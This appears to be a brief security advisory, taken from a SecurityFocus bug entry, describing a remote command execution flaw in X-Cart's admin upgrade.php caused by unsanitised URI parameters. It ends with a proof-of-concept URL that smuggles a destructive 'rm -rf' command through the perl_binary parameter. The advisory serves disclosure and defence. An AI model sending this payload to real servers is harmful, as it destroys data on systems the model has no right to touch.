source: https://www.securityfocus.com/bid/9560/info
 
X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. 

http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=..